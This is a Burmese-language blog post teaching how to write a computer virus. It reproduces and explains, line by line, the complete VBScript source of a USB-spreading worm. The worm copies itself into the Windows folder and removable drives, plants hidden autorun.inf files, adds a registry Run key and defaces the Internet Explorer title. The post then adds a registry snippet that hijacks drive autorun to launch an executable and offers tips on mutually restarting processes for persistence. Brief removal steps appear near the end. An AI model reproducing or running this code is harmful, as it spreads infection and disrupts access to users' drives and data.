Virus ရေးမယ်…

ကျွန်တော့်ကို တော်တော်များများမေးတယ်ဗျ…. Virus ရေးတတ်လားတဲ့… ကျွန်တော်ကတော့ ပြောတာပေါ့…ရေးတတ်တာပေါ့… ဘယ်လိုရေးလဲ လို့ထပ်မေးပြန်ရော… Window ရဲ့ အားသာချက်တွေက Window ရဲ့ အားနည်းချက်တွေပဲလေ… သူ့မှာပေးထားတဲ့ Feature တွေကနေ တဆင့် virus ကို အလုပ်လုပ်သွားရတယ်.. တနည်းအားဖြင့်ပြောရင်ဗျာ… Virus ဆိုတာ windows ရဲ့ အားနည်းချက်ကို အသုံးချသွားတာပဲ… Windows က လုပ်ခွင့်ပေးလို့လုပ်လိုက်တာ… အဲဒါကြောင့် ကြိုက်တဲ့ Programming နဲ့ရေးရတယ်… Windows အကြောင်းနားလည်ရင်ပြီးရော…အဲလို ပြောလိုက်တော့.. သူတို့တွေလည်း မသိတော့ဘူး…ရှုပ်သွားရော… ကျွန်တော်လည်း ဘယ်လိုရှင်းပြရှင်းပြ Logic ပဲရှင်းပြနိုင်တယ်… source code လိုက်ရှင်းပြဖို့ အခွင့်မသာခဲ့ဘူးဗျ… အခု ကျွန်တော် virus ကောင်းကောင်းလေးတစ်ခုရဲ့ source code နဲ့ တကွ ဒီမှာရှင်းပြပေးမလို့… ဒီ source code က ကျွန်တော့်ဆီ ဝင်ထားတဲ့ virus တစ်ခုရဲ့ source code ဗျ… ကျွန်တော်ရေးထားတာတော့ မဟုတ်ဘူး….

‘My name is Slow but sure V0.04
‘This is a virus
‘Don’t Save this file name as MS32DLL.dll.vbs and then don’t run

on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]”&vbcrlf&”shellexecute=wscript.exe MS32DLL.dll.vbs”

File autorun အတွက် ရေးထားတာပါ…နောက်ပိုင်း text file အတွက် အသုံးပြုရန် အတွက် variable name အဖြစ်အသုံးပြုထားတာပါ…

set fs = createobject(“Scripting.FileSystemObject”)

File System Object တစ်ခုကို create လုပ်လိုက်တာ….

set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)

do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop

ဒီအဆင့်တွေကတော့ အခု run နေတဲ့ File ကို ပြန်ဖတ်လိုက်တာပေါ့… ဘယ်လိုလည်းဆိုရင် Script File တစ်ခုလုံးကို text file အဖြစ်စာတစ်ကြောင်းစီဖတ်ပြီး mysource ဆိုတဲ့ variable name ထဲမှာသွားသိမ်းထားတယ်… ဘာဖြစ်လို့လည်းဆိုရင် ဒီ script file ကိုပွားမလို့ပေါ့…..

do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\MS32DLL.dll.vbs”)

ဒါကတော့ windows ရဲ့ မူရင်း path ( C:\Windows ) အောက်မှာ MS32DLL.dll.vbs ဆိုတာကိုသွားစစ်ကြည့်တာ….

tf.attributes = 32

ပြီးတော့ အဲဒီ File ရဲ့ attributes ကို 32 ပေးလိုက်တာ…အဲဒီ File ကို Archive Properties ပြောင်းလိုက်တာ…

set tf=fs.createtextfile(winpath & “\MS32DLL.dll.vbs”,2,true)
tf.write mysource
tf.close

အဲဒီ File ထဲမှာ မူရင်း MS32DLL.dll.vbs ကိုရေးထည့်လိုက်တာ… ကျွန်တော်တို့ အစပိုင်းမှာ run နေတဲ့ script file ကို mysource variable ထဲမှာသိမ်းထားခဲ့တယ်…အဲဒီဟာကို ရေးထည့်လိုက်တာ..

set tf = fs.getfile(winpath & “\MS32DLL.dll.vbs”)
tf.attributes = 39

ရေးပြီးသား File ကို attributes ထပ်ပြောင်းလိုက်တာ… System, Archive, Read-only ,Hidden အဖြစ်ပြောင်းလိုက်တာ…

for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\MS32DLL.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\MS32DLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\MS32DLL.dll.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

Run နေတဲ့ အချိန်မှာ Drive တွေကိုစစ်တယ်..ရှိသမျှ Drive တွေထဲမှာ virus File ကိုသွားရေးတာ….MS32DLL.dll.vbs နဲ့ autorun.inf file ကိုသွားရေးလိုက်တာ…

set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,winpath&”\MS32DLL.dll.vbs”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”Hacked by Godzilla”

windows registry မှာသွားရေးတာ…ဘာလုပ်ဖို့လည်းဆိုရင် Windows တက်တက်ချင်း Virus File run ဖို့အတွက်ပေါ့…. တစ်ခုကတော့ ဒီ virus ကိုက်ခံထိထားကြောင်းသိဖို့အတွက် IE Title Bar မှာ Hack by Godzilla ဆိုပြီးရေးလိုက်တာ..

if check <> 1 then

Wscript.sleep 200000

ဒီနေရာမှာ ကြိုက်တာကိုရေးလို့ရတာ…ကျွန်တော်ပြောတာက ကြိုက်တဲ့ vbscript ကိုရေးလို့ရတယ်လို့ဆိုလိုတာ.. အခုဆိုရင် ဒီ virus ကြောင့် Drive က မပွင့်အောင်လုပ်ထားလိုက်တာ… Drive ဖွင့်ဖို့ဆိုရင် 200000 second လောက်စောင့်ရလိမ့်မယ်…

end if
loop while check<>0

ဒီဟာက virus ကို အမြဲအလုပ်လုပ်ဖို့အတွက် looping ပတ်ထားတာ…

set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

အကြောင်းအမျိုးမျိုးကြောင့် virus က looping က ထွက်ခဲ့သည်ဖြစ်သော်.. Script မ run ခဲ့ဘူးဆိုရင် explore.exe ကနေတဆင့် run ခိုင်းလိုက်တာပါ….

အောက်ကဟာကတော့ အစအဆုံး ရေးထားတဲ့ code ပါ…

‘My nam

e is Slow but sure V0.04
‘This is a virus
‘Don’t Save this file name as MS32DLL.dll.vbs and then don’t run
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]”&vbcrlf&”shellexecute=wscript.exe MS32DLL.dll.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\MS32DLL.dll.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\MS32DLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\MS32DLL.dll.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\MS32DLL.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\MS32DLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\MS32DLL.dll.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,winpath&”\MS32DLL.dll.vbs”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”Hacked by Godzilla”
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>0
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

ဒီ virus ကိုဘာနဲ့ပဲစစ်စ် သူ့ကို virus မှန်းမသိဘူး…ဘာဖြစ်လို့လည်းဆို သူက script file ဖြစ်တဲ့အပြင် Internal Name မပါဘူး… နောက်ပြီး File Attributes ကလည်း System, Archive, Read-only ,Hidden ဖြစ်နေတယ်… ဘယ်လိုမှ မြင်ရမှာ မဟုတ်ဘူး… နောက်ပြီး File ကို ဖျက်ဖို့ကလည်းမလွယ်ဘူးဗျ…. သူ့ကို နိုင်တာကတော့ Win Rar ပဲ… Win Rar ကနေ File တွေကိုကြည့်ရင် အကုန်မြင်ရတယ်… အကုန် rename ပေးလို့ရတယ်… Delete လုပ်လို့ရတယ်ဗျ… နောက်တနည်းကတော့ Tool-> Folder Option -> View -> Hide protected operation system file ဆိုတာကို uncheck လုပ်လိုက်ရင်တော့ အကုန်မြင်ရပါမယ်… ဖျက်လို့လည်းရသွားပါမယ်…မှား မဖျက်နဲ့နော်… autorun.inf ရယ်… MS32DLL.dll.vbs ရယ်ပဲ…

ဒီ Virus ကို ဖျက်ချင်ရင်တော့ Ctrl+Shift+ESC ကိုနှိပ်… Process မှာ Wscript.exe ကိုရှာ… ရှိသမျှ Wscript.exe တွေကို end process လုပ်… win rar ဖွင့်… C:\ D:\ နောက်ပြီး Flash Drive တို့အောက်တွေကို Win Rar နဲ့ကြည့်…ပြီးရင် MS32DLL.dll.vbs နဲ့ autorun.inf ကို ဖျက်လိုက်… ပြီးရင် run ကိုသွား… regedit လို့ရိုက်လိုက်… MS32DLL.dl.vbs ကိုရှာ… တွေ့ရင် ဖျက်လိုက်….

ဒီလောက်ဆိုရင်တော့ virus ရေးရတာ မခက်မှန်းသိလောက်ပြီထင်တယ်… virus ရေးလို့အကောင်းဆုံးကတော့ VB script နဲ့ရေးရတာပဲ… programming နဲ့ရေးချင်လည်းရတယ်… windows အကြောင်းနားလည်ဖို့ရယ်… ကိုယ်ရေးမယ့် programming language မှာ File System ပိုင်းက ကောင်းကောင်းရေးတတ်ဖို့လိုတယ်.. နောက်ပြီး Virus EXE အပြင် အဲဒီ File ကို user က သိသွားရင် ပြန်ပြီး create လုပ်ပြီး run ခိုင်းဖို့ exe တော့လိုတယ်.. တနည်းအားဖြင့်ပြောရင် Virus EXE နဲ့ support ပေးတဲ့ exe က တစ်ခုပိတ်လိုက်တာနဲ့ ပြန်ပွင့်ပေးအောင်လုပ်ပေးရလိမ့်မယ်.. support exe ပိတ်ရင် virus exe ကပြန်ဖွင့်… virus exe ပိတ်ရင် support exe က ပြန်ဖွင့်ဖို့ပေါ့.. နောက်တစ်ခုလိုတာကတော့ C: drive D: drive တို့အတွက် auto run file ပဲ… သူ့ကို ဘယ်လိုရေးရလည်းဆိုရင် တော့ ကိုယ့်ကျွမ်းကျင်ရာ programming language မှာ registery ပိုင်းကိုရေးတတ်ဖို့လိုတယ်.. ကျွန်တော်ကတော့ ရိုးရိုး .reg file မှာရေးတဲ့ text ကိုပြပါမယ်…

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{9f6656ed-8a32-11db-a7d8-806d6172696f}\Shell\AutoRun\command]
@=”C:\\testvirus.exe”

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{9f6656ee-8a32-11db-a7d8-806d6172696f}\Shell\AutoRun\command]
@=”C:\\testvirus.exe”

အဲဒါကိုတာ run လိုက်ရင် C: ရော D: ရောမှာပါ ဖွင့်လိုက်ရင် C:\testvirus.exe ကိုပဲ run နေပါလိမ့်မယ်…. C:\ D:\ တို့ကို My Computer ကနေ ဖွင့်လို့မရတော့ဘူး… Windows Explorer ကနေပဲဖွင့်လို့ရလိမ့်မယ်…

ကိုယ့် virus က Drive တွေကို အကုန်လုံးရဲ့ autorun မှာ အလုပ်လုပ်ချင်ရင်တော့ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\ အောက်မှာရှိတဲ့ {….} Folder တွေအားလုံးကို အပေါ်မှာ ပြထားတဲ့အတိုင်း ရေးလိုက်ရုံပါပဲ…အပေါ်မှာကတော့ C:\ D:\ အတွက်ပဲပြထားတာပါ…အဲဒီ အပိုင်းက ကိုယ့် programming ကျွမ်းကျင်မှုအပိုင်းနဲ့တော့ဆိုင်ပါတယ်..

CD Drive နဲ့ Flash Drive အတွက်ဆိုရင်တော့ autorun file ရေးထားရင်ရပါတယ်…

[autorun]
Open=testvirus.exe

ဆိုပြီး autorun.inf နဲ့သိမ်း file နဲ့နေရာအတူတူမှာ testvirus.exe ကိုထား…အဲဒါဆိုရင် အခွေထည့်လိုက်တာနဲ့ program က အလုပ်လုပ်ပါပြီ….

အပေါ်က VBScipt ဆိုရင်တေ

ာ့ အဲဒီ registry ပိုင်းကို အလိုအလျှောက်လုပ်ပေးတယ်…ဘာကြောင့်လည်းဆို windows စစခြင်းမှာ wscript.exe ကို explorer.exe \e,\select နဲ့ run လိုက်တာကြောင့်ပါ… အပေါ်က code ကို MS32DLL.dll.vbs နဲ့ save လုပ် run… ပြီးရင် စက်ကို restart ချလိုက်….ပြီးရင် Drive မှန်သမျှဝင်လို့မရတော့တာကိုတွေ့ရပါလိမ့်မယ်…

ဒီလောက်ဆိုရင်တော့ virus ဆိုတာဘယ်လိုရေးလဲဆိုတာသိလောက်ပြီလို့ထင်ပါတယ်…
ကိုယ့်ပျော်ရွှင်မှုကြောင့် သူတစ်ပါး စိတ်မဆင်းရဲရပါစေနဲ့လို့ ဆုတောင်းပေးလိုက်ပါတယ်….

Leave a Comment

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.